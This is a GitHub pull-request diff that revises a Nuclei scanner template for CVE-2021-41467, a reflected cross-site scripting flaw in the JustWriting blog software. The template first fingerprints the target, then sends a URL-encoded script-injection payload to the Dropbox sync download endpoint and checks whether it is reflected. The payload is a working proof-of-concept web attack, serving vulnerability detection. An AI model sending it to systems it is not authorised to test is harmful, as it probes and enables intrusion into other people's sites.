Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
44 changes: 26 additions & 18 deletions http/cves/2021/CVE-2021-41467.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -13,8 +13,6 @@ info:
- https://github.com/hjue/JustWriting/issues/106
- https://nvd.nist.gov/vuln/detail/CVE-2021-41467
- https://github.com/hjue/JustWriting/
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
Expand All @@ -29,24 +27,34 @@ info:
product: justwriting
tags: cve2021,cve,justwriting,xss,justwriting_project,vuln

flow: http(1) && http(2)

http:
- method: GET
path:
- '{{BaseURL}}/sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}

host-redirects: true
max-redirects: 2

matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "justwriting")'
condition: and
internal: true

- type: word
part: header
words:
- "text/html"
- raw:
- |
GET /sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: {{Hostname}}

- type: status
status:
- 200
# digest: 4a0a00473045022100b37afe61e2d25c684d0b0191a8d241920e0ea5eb2a6deb2649987fd0204de54602201fbf6ec31ed371d400436551f7a96598a62df6dda35682945245fd4772c7f8a1:922c64590222798bb761d5b6d8e72950
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "</script><script>alert(document.domain)</script>")'
condition: and
Loading